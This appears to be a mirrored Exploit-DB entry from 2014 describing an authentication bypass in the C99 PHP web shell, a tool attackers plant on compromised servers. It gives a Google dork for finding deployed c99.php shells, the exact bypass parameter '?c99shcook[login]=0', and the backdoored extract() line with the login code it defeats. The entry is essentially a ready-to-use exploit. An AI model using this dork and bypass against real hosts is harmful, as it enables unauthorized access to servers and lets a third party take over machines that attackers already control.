C99Shell (Web Shell) – ‘c99.php’ Authentication Bypass - 体验盒子

作者： Mandat0ry

日期： 2014-07-10

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/34025/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

# Exploit Title: C99 Shell Authentication Bypass via Backdoor

# Google Dork: inurl:c99.php

# Date: June 23, 2014

# Exploit Author: mandatory ( Matthew Bryant )

# Vendor Homepage: http://ccteam.ru/

# Software Link: https://www.google.com/

# Version: < 1.00 beta

# Tested on:Linux

# CVE: N/A

All C99.php shells are backdoored. To bypass authentication add "?c99shcook[login]=0" to the URL.

e.g. http://127.0.0.1/c99.php?c99shcook[login]=0

The backdoor:

@extract($_REQUEST["c99shcook"]);

Which bypasses the authentication here:

if ($login) {

if (empty($md5_pass)) {

$md5_pass = md5($pass);

}

if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) {

if ($login_txt === false) {

$login_txt = "";

} elseif (empty($login_txt)) {

$login_txt = strip_tags(ereg_replace(" |<br>", " ", $donated_html));

}

header("WWW-Authenticate: Basic realm=\"c99shell " . $shver . ": " . $login_txt . "\"");

header("HTTP/1.0 401 Unauthorized");

exit($accessdeniedmess);

}

For more info: http://thehackerblog.com/every-c99-php-shell-is-backdoored-aka-free-shells/

~mandatory